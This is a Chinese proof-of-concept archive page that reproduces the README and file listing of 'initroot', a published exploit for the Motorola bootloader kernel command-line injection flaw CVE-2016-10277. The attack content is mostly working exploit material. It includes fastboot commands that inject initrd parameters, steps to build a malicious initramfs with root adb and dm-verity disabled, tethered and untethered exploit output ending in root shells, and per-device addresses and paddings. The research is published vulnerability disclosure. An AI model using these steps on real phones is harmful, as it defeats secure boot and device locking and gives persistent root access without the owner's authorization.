关联漏洞
标题:
Android Motorola bootloader 权限许可和访问控制漏洞
(CVE-2016-10277)
描述:Android on Nexus 6是美国谷歌(Google)公司和开放手持设备联盟(简称OHA)共同开发的一套运行于Nexus 6(智能手机)等中并以Linux为基础的开源操作系统。Motorola bootloader是其中的一个美国摩托罗拉(Motorola)公司的装载程序。 Nexus 6设备上的Android中的Motorola bootloader存在提权漏洞。攻击者可借助本地恶意的应用程序利用该漏洞在bootloader上下文中执行任意代码。
描述
Motorola Untethered Jailbreak: Exploiting CVE-2016-10277 for Secure Boot and Device Locking bypass
介绍
# initroot: Motorola Bootloader Kernel Cmdline Injection Secure Boot & Device Locking Bypass (CVE-2016-10277) #
By Roee Hay / Aleph Research, HCL Technologies
## First stage exploit: Tethered jailbreak ##
This exploit gains an ephemeral unrestricted root access on the device.
For example, on `cedric` (some messages were removed for readability):
```terminal
$ cd ./tethered/cedric
$ ./initroot-tethered.sh
Welcome to initroot-cedric-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a initrd=0xA2100000,1588596
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (34319 KB)...
OKAY [ 1.098s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.101s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [ 0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:shell:s0
$ adb shell
cedric:/ #
```
## Second stage exploit: Untethered jailbreak ##
This exploit gains a persistent root access on the device.
For example, on `athene` (some messages were removed for readabilitiy):
```terminal
$ cd ./untethered/athene
$ ./initroot-untethered.sh
Welcome to initroot-athene-untethered
Welcome to initroot-athene-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a initrd=0x92000000,2505052
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (35214 KB)...
OKAY [ 1.131s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.138s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [ 0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
padC-initroot: 1 file pushed. 11.1 MB/s (22937600 bytes in 1.963s)
44800+0 records in
44800+0 records out
22937600 bytes transferred in 3.017 secs (7602784 bytes/sec)
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a rdinit= root=/dev/mmcblk0p41
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.015s]
finished. total time: 0.015s
rebooting...
finished. total time: 0.815s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ #
```
## Producing your own malicious initramfs archive ##
1. Use the commited `initroot-<device>.cpio.gz`, or produce your own:
```
$ cd <initramfs folder>
$ find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../initroot-<device>.cpio.gz
OR if padding is needed:
$ dd if=/dev/zero of=../pad ibs=1 count=<PAD_SIZE>
$ cp ../pad ../initroot-<device>.cpio.gz && find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../tmp && ls -la ../tmp && cat ../tmp >> ../initroot-<device>.cpio.gz && rm -fr ../tmp
$ cd ..
```
2. Our commited initramfs images have adb running as root by default. It will not ask for authorization. In addition, dm-verity is disabled on the relevant partitions
```terminal
fastboot oem config fsg-id "a initrd=<SCRATCH_ADDR+PAD_SIZE>,<initroot.cpio.gz size-PAD_SIZE>"`
fastboot flash foo initroot-<device>.cpio.gz`
fastboot continue
```
3. if you use our initramfs, `adb shell` will now give you a root shell:
```
$ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
```
## Creating an Untethered exploit for other Moto devices ##
Read our [blog post](https://alephsecurity.com/2017/08/30/untethered-initroot/#persisting-the-payload)
## Verified Devices ##
| Device | Codename | `SCRATCH_ADDR` | `PADDING` | committed `initrams` | Unused Partition
|------------------|----------|----------------|-------------|----------------------|---------
| Nexus 6 | `shamu` | `0x11000000` | `0x0` | AOSP `userdebug` | `mmcblk0p11`
| Moto G5 (XT1676) | `cedric` | `0xA0100000` | `0x2000000` | Release, patched `init` and `adbd` to disable SELinux, `set{u,g}id` to shell, capabilities drop and adb auth, etc | `mmcblk0p41`
| Moto G4 (XT1622) | `athene` | `0x90000000` | `0x2000000` | "" | `mmcblk0p48`
## Community Reported ##
| Device | Codename | `SCRATCH_ADDR` | Reporter | Description
|------------------|--------------|--------------|--------------|-----------
| Moto G5 Plus | `potter` | `0xA0100000` | [drbeat](https://github.com/drbeat) | Injected boot property. [[proof](https://github.com/alephsecurity/initroot/issues/1)]
| Moto G4 Play (XT1607) | `harpia` | `0x90000000` | [m-mullins](https://github.com/m-mullins) | Full Exploitation of Amazon XT1607. [[proof](https://github.com/m-mullins/InitRoot_Harpia)]
| Moto G4 Play (XT1609) | `harpia` | `0x90000000` | [@utoprime](https://twitter.com/utoprime) | Full Exploitation of Verizon XT1609. [[proof](https://twitter.com/utoprime/status/873941023050919936)]
| Moto G4 (XT1625) | `athene` | `0x90000000` | [@EWorcel](https://twitter.com/EWorcel) | Injected initrd that caused boot loops. [[proof](https://twitter.com/roeehay/status/868877672016957440)]
| Moto G3 | `osprey` | `0x90000000` | [@asiekierka](https://twitter.com/asiekierka) | Injected initrd that caused boot loops. [[proof](https://twitter.com/asiekierka/status/873467107090075648)]
| Moto G2 (XT1072) | `thea` | `0x11000000` | [@TheElix](https://disqus.com/by/TheElix/) | Injected initrd caused boot loops. [[proof](https://disqus.com/home/discussion/alephsecurity/initroot_hello_moto/#comment-3355705740)]
| Moto G (XT1032) | `falcon_retfr` | `0x11000000` | [Pierre Zurek](https://disqus.com/by/pierrezurek/) | Full Exploitation with 64MB padding [[proof](http://disq.us/p/1l1uqgb)]
| Moto E (XT830C) | `condor_cdma` | `0x0E000000` | [fetcher](https://disqus.com/by/disqus_U4zRE0u275/) | Full Exploitation of XT830C locked to Tracfone/Verizon with a 32MB padding [[proof](https://alephsecurity.com/2017/06/07/initroot-moto/#comment-3379229648)]
| Other | - | - | [@jcase](https://twitter.com/jcase) | [[proof](https://twitter.com/jcase/status/868930263782313984)]
## Note ##
This vulnerability may affect other Motorola devices too: a different initramfs will be needed. A different physical address of initrd (`SCRATCH_ADDR`). `PADDING` may vary as well.
## Video Demo ##
[](https://www.youtube.com/watch?v=dijRMpv4ktM)
## Publications ##
1. [initroot: Bypassing Nexus 6 Secure Boot through Kernel Command-line Injection](https://alephsecurity.com/2017/05/23/nexus6-initroot/)
2. [initroot: Hello Moto](https://alephsecurity.com/2017/06/07/initroot-moto/)
3. [Motorola Android Bootloader Kernel Cmdline Injection Secure Boot Bypass](https://alephsecurity.com/vulns/aleph-2017011)
4. [Untethered initroot (USENIX WOOT '17)](https://alephsecurity.com/2017/08/30/untethered-initroot)
5. [USENIX WOOT '17 paper](https://www.usenix.org/conference/woot17/workshop-program/presentation/hay)
文件快照
[4.0K] /data/pocs/c56dc92ee9fce44ec4d48e290f1ba00ca046839d
├── [8.0K] README.md
├── [4.0K] tethered
│ ├── [4.0K] athene
│ │ ├── [4.0K] athene-xt1622-mpj24.139-63
│ │ │ ├── [ 13] charger -> /sbin/healthd
│ │ │ ├── [ 554] default.prop
│ │ │ ├── [ 59K] file_contexts
│ │ │ ├── [1.4K] fstab.qcom
│ │ │ ├── [639K] init
│ │ │ ├── [ 144] init.3gb.rc
│ │ │ ├── [ 160] init.amxar.rc
│ │ │ ├── [ 206] init.amxbr.rc
│ │ │ ├── [ 160] init.amxcl.rc
│ │ │ ├── [ 160] init.amxco.rc
│ │ │ ├── [ 160] init.amxla.rc
│ │ │ ├── [ 160] init.amxmx.rc
│ │ │ ├── [ 160] init.amxpe.rc
│ │ │ ├── [ 128] init.att.rc
│ │ │ ├── [ 131] init.bwaca.rc
│ │ │ ├── [3.3K] init.class_main.sh
│ │ │ ├── [ 267] init.eegb.rc
│ │ │ ├── [ 988] init.environ.rc
│ │ │ ├── [1.7K] init.mdm.sh
│ │ │ ├── [ 553] init.mmi.block_perm.sh
│ │ │ ├── [3.3K] init.mmi.boot.sh
│ │ │ ├── [ 96] init.mmi.common.rc
│ │ │ ├── [ 0] init.mmi.debug.rc
│ │ │ ├── [ 740] init.mmi.diag_mdlog.rc
│ │ │ ├── [ 1] init.mmi.diag.rc
│ │ │ ├── [ 94] init.mmi.dtv.rc
│ │ │ ├── [1019] init.mmi.laser.sh
│ │ │ ├── [ 221] init.mmi.overlay.rc
│ │ │ ├── [ 17K] init.mmi.rc
│ │ │ ├── [ 19K] init.mmi.usb.rc
│ │ │ ├── [9.3K] init.mmi.usb.sh
│ │ │ ├── [ 11K] init.oem.hw.sh
│ │ │ ├── [ 185] init.oem.rc
│ │ │ ├── [ 150] init.oraes.rc
│ │ │ ├── [ 150] init.orafr.rc
│ │ │ ├── [2.0K] init.qcom.bms.sh
│ │ │ ├── [6.9K] init.qcom.class_core.sh
│ │ │ ├── [9.5K] init.qcom.early_boot.sh
│ │ │ ├── [ 14K] init.qcom.factory.rc
│ │ │ ├── [ 29K] init.qcom.rc
│ │ │ ├── [ 16K] init.qcom.sh
│ │ │ ├── [2.9K] init.qcom.syspart_fixup.sh
│ │ │ ├── [ 28K] init.rc
│ │ │ ├── [ 135] init.rcica.rc
│ │ │ ├── [1.6K] init.recovery.qcom.rc
│ │ │ ├── [8.2K] init.target.rc
│ │ │ ├── [2.1K] init.trace.rc
│ │ │ ├── [9.1K] init.usb.configfs.rc
│ │ │ ├── [5.2K] init.usb.rc
│ │ │ ├── [ 133] init.vffr.rc
│ │ │ ├── [ 342] init.zygote32.rc
│ │ │ ├── [ 738] module_hashes
│ │ │ ├── [9.2K] property_contexts
│ │ │ ├── [4.0K] res
│ │ │ │ └── [4.0K] images
│ │ │ │ └── [4.0K] charger
│ │ │ │ ├── [1.3K] battery_fail.png
│ │ │ │ └── [ 463] battery_scale.png
│ │ │ ├── [4.0K] sbin
│ │ │ │ ├── [247K] adbd
│ │ │ │ ├── [274K] healthd
│ │ │ │ ├── [ 65] qcrypto_module.hmac
│ │ │ │ ├── [1.1M] qcrypto_module.ko
│ │ │ │ ├── [ 65] qdrbg_module.hmac
│ │ │ │ ├── [434K] qdrbg_module.ko
│ │ │ │ ├── [ 66K] qfintverify
│ │ │ │ ├── [ 65] qfintverify.hmac
│ │ │ │ ├── [ 7] ueventd -> ../init
│ │ │ │ └── [ 7] watchdogd -> ../init
│ │ │ ├── [2.4K] seapp_contexts
│ │ │ ├── [ 69] selinux_version
│ │ │ ├── [299K] sepolicy
│ │ │ ├── [ 15K] service_contexts
│ │ │ ├── [ 13K] ueventd.qcom.rc
│ │ │ ├── [5.3K] ueventd.rc
│ │ │ ├── [ 524] verity_key
│ │ │ └── [4.0K] xbin
│ │ │ ├── [190K] qe
│ │ │ ├── [ 3] qee.dat
│ │ │ └── [ 256] qem.dat
│ │ ├── [4.0K] athene-xt1622-npjs25.93-14-4
│ │ │ ├── [ 50] bugreports -> /data/user_de/0/com.android.shell/files/bugreports
│ │ │ ├── [ 13] charger -> /sbin/healthd
│ │ │ ├── [ 17] d -> /sys/kernel/debug [error opening dir]
│ │ │ ├── [ 932] default.prop
│ │ │ ├── [ 11] etc -> /system/etc
│ │ │ ├── [220K] file_contexts.bin
│ │ │ ├── [1.6K] fstab.qcom
│ │ │ ├── [888K] init
│ │ │ ├── [ 144] init.3gb.rc
│ │ │ ├── [ 160] init.amxar.rc
│ │ │ ├── [ 206] init.amxbr.rc
│ │ │ ├── [ 160] init.amxcl.rc
│ │ │ ├── [ 160] init.amxco.rc
│ │ │ ├── [ 160] init.amxla.rc
│ │ │ ├── [ 160] init.amxmx.rc
│ │ │ ├── [ 160] init.amxpe.rc
│ │ │ ├── [ 128] init.att.rc
│ │ │ ├── [ 131] init.bwaca.rc
│ │ │ ├── [3.3K] init.class_main.sh
│ │ │ ├── [ 267] init.eegb.rc
│ │ │ ├── [1.0K] init.environ.rc
│ │ │ ├── [1.7K] init.mdm.sh
│ │ │ ├── [ 553] init.mmi.block_perm.sh
│ │ │ ├── [4.1K] init.mmi.boot.sh
│ │ │ ├── [ 96] init.mmi.common.rc
│ │ │ ├── [ 0] init.mmi.debug.rc
│ │ │ ├── [ 740] init.mmi.diag_mdlog.rc
│ │ │ ├── [ 1] init.mmi.diag.rc
│ │ │ ├── [ 94] init.mmi.dtv.rc
│ │ │ ├── [1019] init.mmi.laser.sh
│ │ │ ├── [ 190] init.mmi.overlay.rc
│ │ │ ├── [ 17K] init.mmi.rc
│ │ │ ├── [ 634] init.mmi.sensor.rc
│ │ │ ├── [ 19K] init.mmi.usb.rc
│ │ │ ├── [9.3K] init.mmi.usb.sh
│ │ │ ├── [2.0K] init.mmi.volte.rc
│ │ │ ├── [ 11K] init.oem.hw.sh
│ │ │ ├── [ 185] init.oem.rc
│ │ │ ├── [ 150] init.oraes.rc
│ │ │ ├── [ 150] init.orafr.rc
│ │ │ ├── [2.0K] init.qcom.bms.sh
│ │ │ ├── [ 0] init.qcom.build.rc
│ │ │ ├── [6.9K] init.qcom.class_core.sh
│ │ │ ├── [9.8K] init.qcom.early_boot.sh
│ │ │ ├── [ 14K] init.qcom.factory.rc
│ │ │ ├── [ 30K] init.qcom.rc
│ │ │ ├── [ 11K] init.qcom.sh
│ │ │ ├── [2.9K] init.qcom.syspart_fixup.sh
│ │ │ ├── [ 24K] init.rc
│ │ │ ├── [ 135] init.rcica.rc
│ │ │ ├── [1.6K] init.recovery.qcom.rc
│ │ │ ├── [8.7K] init.target.rc
│ │ │ ├── [9.1K] init.usb.configfs.rc
│ │ │ ├── [5.6K] init.usb.rc
│ │ │ ├── [ 133] init.vffr.rc
│ │ │ ├── [ 439] init.zygote32.rc
│ │ │ ├── [ 697] module_hashes
│ │ │ ├── [ 13K] property_contexts
│ │ │ ├── [4.0K] res
│ │ │ │ └── [4.0K] images
│ │ │ │ └── [4.0K] charger
│ │ │ │ ├── [1.3K] battery_fail.png
│ │ │ │ └── [ 463] battery_scale.png
│ │ │ ├── [4.0K] sbin
│ │ │ │ ├── [676K] adbd
│ │ │ │ ├── [507K] healthd
│ │ │ │ ├── [ 65] qcrypto_module.hmac
│ │ │ │ ├── [1.3M] qcrypto_module.ko
│ │ │ │ ├── [ 65] qdrbg_module.hmac
│ │ │ │ ├── [532K] qdrbg_module.ko
│ │ │ │ ├── [207K] qfintverify
│ │ │ │ ├── [ 65] qfintverify.hmac
│ │ │ │ ├── [ 7] ueventd -> ../init
│ │ │ │ └── [ 7] watchdogd -> ../init
│ │ │ ├── [ 21] sdcard -> /storage/self/primary
│ │ │ ├── [2.3K] seapp_contexts
│ │ │ ├── [336K] sepolicy
│ │ │ ├── [ 18K] service_contexts
│ │ │ ├── [ 13K] ueventd.qcom.rc
│ │ │ ├── [5.5K] ueventd.rc
│ │ │ ├── [ 14] vendor -> /system/vendor
│ │ │ ├── [ 524] verity_key
│ │ │ └── [4.0K] xbin
│ │ │ ├── [303K] qe
│ │ │ ├── [ 3] qee.dat
│ │ │ └── [ 256] qem.dat
│ │ ├── [ 34M] initroot-athene-xt1622-mpj24.139-63.cpio.gz
│ │ ├── [2.4M] initroot-athene-xt1622-npjs25.93-14-4.cpio.gz
│ │ ├── [ 34M] initroot-athene-xt1622-npjs25.93-14-4-padded.cpio.gz
│ │ └── [ 103] initroot-tethered.sh
│ ├── [4.0K] cedric
│ │ ├── [4.0K] cedric-npp25.137-33
│ │ │ ├── [ 13] charger -> /sbin/healthd
│ │ │ ├── [ 17] d -> /sys/kernel/debug [recursive, not followed]
│ │ │ ├── [ 979] default.prop
│ │ │ ├── [ 11] etc -> /system/etc
│ │ │ ├── [219K] file_contexts.bin
│ │ │ ├── [1.4K] fstab.qcom
│ │ │ ├── [872K] init
│ │ │ ├── [ 144] init.3gb.rc
│ │ │ ├── [ 115] init.acg.rc
│ │ │ ├── [ 133] init.altfr.rc
│ │ │ ├── [ 160] init.amxar.rc
│ │ │ ├── [ 206] init.amxbr.rc
│ │ │ ├── [ 160] init.amxcl.rc
│ │ │ ├── [ 160] init.amxco.rc
│ │ │ ├── [ 160] init.amxla.rc
│ │ │ ├── [ 160] init.amxmx.rc
│ │ │ ├── [ 160] init.amxpe.rc
│ │ │ ├── [ 128] init.att.rc
│ │ │ ├── [ 132] init.bwaca.rc
│ │ │ ├── [3.2K] init.class_main.sh
│ │ │ ├── [ 267] init.eegb.rc
│ │ │ ├── [1.0K] init.environ.rc
│ │ │ ├── [ 656] init.gbmods.sh
│ │ │ ├── [ 115] init.lra.rc
│ │ │ ├── [1.7K] init.mdm.sh
│ │ │ ├── [ 205] init.mmi.audio.sh
│ │ │ ├── [ 862] init.mmi.block_perm.sh
│ │ │ ├── [4.0K] init.mmi.boot.sh
│ │ │ ├── [1.1K] init.mmi.chipset.rc
│ │ │ ├── [ 96] init.mmi.common.rc
│ │ │ ├── [ 0] init.mmi.debug.rc
│ │ │ ├── [ 740] init.mmi.diag_mdlog.rc
│ │ │ ├── [ 1] init.mmi.diag.rc
│ │ │ ├── [ 63] init.mmi.dtv.rc
│ │ │ ├── [1019] init.mmi.laser.sh
│ │ │ ├── [1.4K] init.mmi.overlay.rc
│ │ │ ├── [ 17K] init.mmi.rc
│ │ │ ├── [ 634] init.mmi.sensor.rc
│ │ │ ├── [ 22K] init.mmi.usb.rc
│ │ │ ├── [9.5K] init.mmi.usb.sh
│ │ │ ├── [2.0K] init.mmi.volte.rc
│ │ │ ├── [ 11K] init.oem.hw.sh
│ │ │ ├── [ 185] init.oem.rc
│ │ │ ├── [ 196] init.oraes.rc
│ │ │ ├── [ 196] init.orafr.rc
│ │ │ ├── [ 0] init.qcom.build.rc
│ │ │ ├── [6.9K] init.qcom.class_core.sh
│ │ │ ├── [ 11K] init.qcom.early_boot.sh
│ │ │ ├── [3.4K] init.qcom.factory.rc
│ │ │ ├── [ 33K] init.qcom.rc
│ │ │ ├── [2.0K] init.qcom.sensors.sh
│ │ │ ├── [ 12K] init.qcom.sh
│ │ │ ├── [2.9K] init.qcom.syspart_fixup.sh
│ │ │ ├── [ 24K] init.rc
│ │ │ ├── [ 135] init.rcica.rc
│ │ │ ├── [ 59] init.retca.rc
│ │ │ ├── [8.9K] init.target.rc
│ │ │ ├── [9.1K] init.usb.configfs.rc
│ │ │ ├── [5.6K] init.usb.rc
│ │ │ ├── [ 186] init.usc.rc
│ │ │ ├── [ 133] init.vffr.rc
│ │ │ ├── [ 59] init.wndca.rc
│ │ │ ├── [ 439] init.zygote32.rc
│ │ │ ├── [ 615] module_hashes
│ │ │ ├── [ 11K] property_contexts
│ │ │ ├── [4.0K] res
│ │ │ │ └── [4.0K] images
│ │ │ │ └── [4.0K] charger
│ │ │ │ ├── [1.3K] battery_fail.png
│ │ │ │ └── [ 463] battery_scale.png
│ │ │ ├── [4.0K] sbin
│ │ │ │ ├── [664K] adbd
│ │ │ │ ├── [495K] healthd
│ │ │ │ ├── [ 18K] su
│ │ │ │ ├── [ 7] ueventd -> ../init
│ │ │ │ └── [ 7] watchdogd -> ../init
│ │ │ ├── [ 21] sdcard -> /storage/self/primary
│ │ │ ├── [2.3K] seapp_contexts
│ │ │ ├── [ 67] selinux_version
│ │ │ ├── [338K] sepolicy
│ │ │ ├── [ 20K] service_contexts
│ │ │ ├── [ 17K] ueventd.qcom.rc
│ │ │ ├── [5.5K] ueventd.rc
│ │ │ ├── [ 14] vendor -> /system/vendor
│ │ │ ├── [ 524] verity_key
│ │ │ └── [4.0K] xbin
│ │ │ ├── [291K] qe
│ │ │ ├── [ 3] qee.dat
│ │ │ └── [ 256] qem.dat
│ │ ├── [1.5M] initroot-cedric-npp25.137-33.cpio.gz
│ │ ├── [ 34M] initroot-cedric-npp25.137-33.cpio-padded.gz
│ │ ├── [1.5M] initroot-cedric-npp25.137-33-upx.cpio.gz
│ │ └── [ 94] initroot-tethered.sh
│ ├── [ 381] initroot-tethered.sh
│ └── [4.0K] shamu
│ ├── [1.4M] initroot-shamu-aosp-nmf26f.cpio.gz
│ ├── [1.4M] initroot-shamu-aosp-nmf26f-missingdirs.cpio.gz
│ ├── [ 84] initroot-tethered.sh
│ └── [4.0K] shamu-aosp-nmf26f
│ ├── [ 13] charger -> /sbin/healthd
│ ├── [ 17] d -> /sys/kernel/debug [recursive, not followed]
│ ├── [1.1K] default.prop
│ ├── [ 11] etc -> /system/etc
│ ├── [100K] file_contexts.bin
│ ├── [3.4K] fstab.shamu
│ ├── [800K] init
│ ├── [ 887] init.environ.rc
│ ├── [ 25K] init.rc
│ ├── [ 164] init.shamu.diag.rc
│ ├── [5.6K] init.shamu.power.rc
│ ├── [ 19K] init.shamu.rc
│ ├── [ 12K] init.shamu.usb.rc
│ ├── [9.1K] init.usb.configfs.rc
│ ├── [6.0K] init.usb.rc
│ ├── [ 411] init.zygote32.rc
│ ├── [4.6K] property_contexts
│ ├── [4.0K] res
│ │ └── [4.0K] images
│ │ ├── [4.0K] charger
│ │ │ ├── [1.3K] battery_fail.png
│ │ │ └── [ 463] battery_scale.png
│ │ └── [4.0K] warning
│ │ ├── [ 24K] verity_red_1.png
│ │ └── [ 23K] verity_red_2.png
│ ├── [4.0K] sbin
│ │ ├── [720K] adbd
│ │ ├── [511K] healthd
│ │ ├── [311K] slideshow
│ │ ├── [ 7] ueventd -> ../init
│ │ └── [ 7] watchdogd -> ../init
│ ├── [ 21] sdcard -> /storage/self/primary
│ ├── [ 758] seapp_contexts
│ ├── [ 64] selinux_version
│ ├── [198K] sepolicy
│ ├── [ 11K] service_contexts
│ ├── [4.7K] ueventd.rc
│ ├── [3.1K] ueventd.shamu.rc
│ ├── [ 14] vendor -> /system/vendor
│ └── [ 524] verity_key
└── [4.0K] untethered
├── [4.0K] athene
│ ├── [ 68] initroot-untethered.sh
│ ├── [ 22M] padC-ext4-empty
│ └── [ 22M] padC-initroot
├── [4.0K] cedric
│ ├── [ 68] initroot-untethered.sh
│ ├── [4.1M] padA-ext4-empty
│ └── [4.1M] padA-initroot
├── [ 601] initroot-untethered.sh
└── [4.0K] shamu
├── [ 57] initroot-untethered.sh
├── [4.1M] padA-ext4-empty
└── [4.1M] padA-initroot
35 directories, 295 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。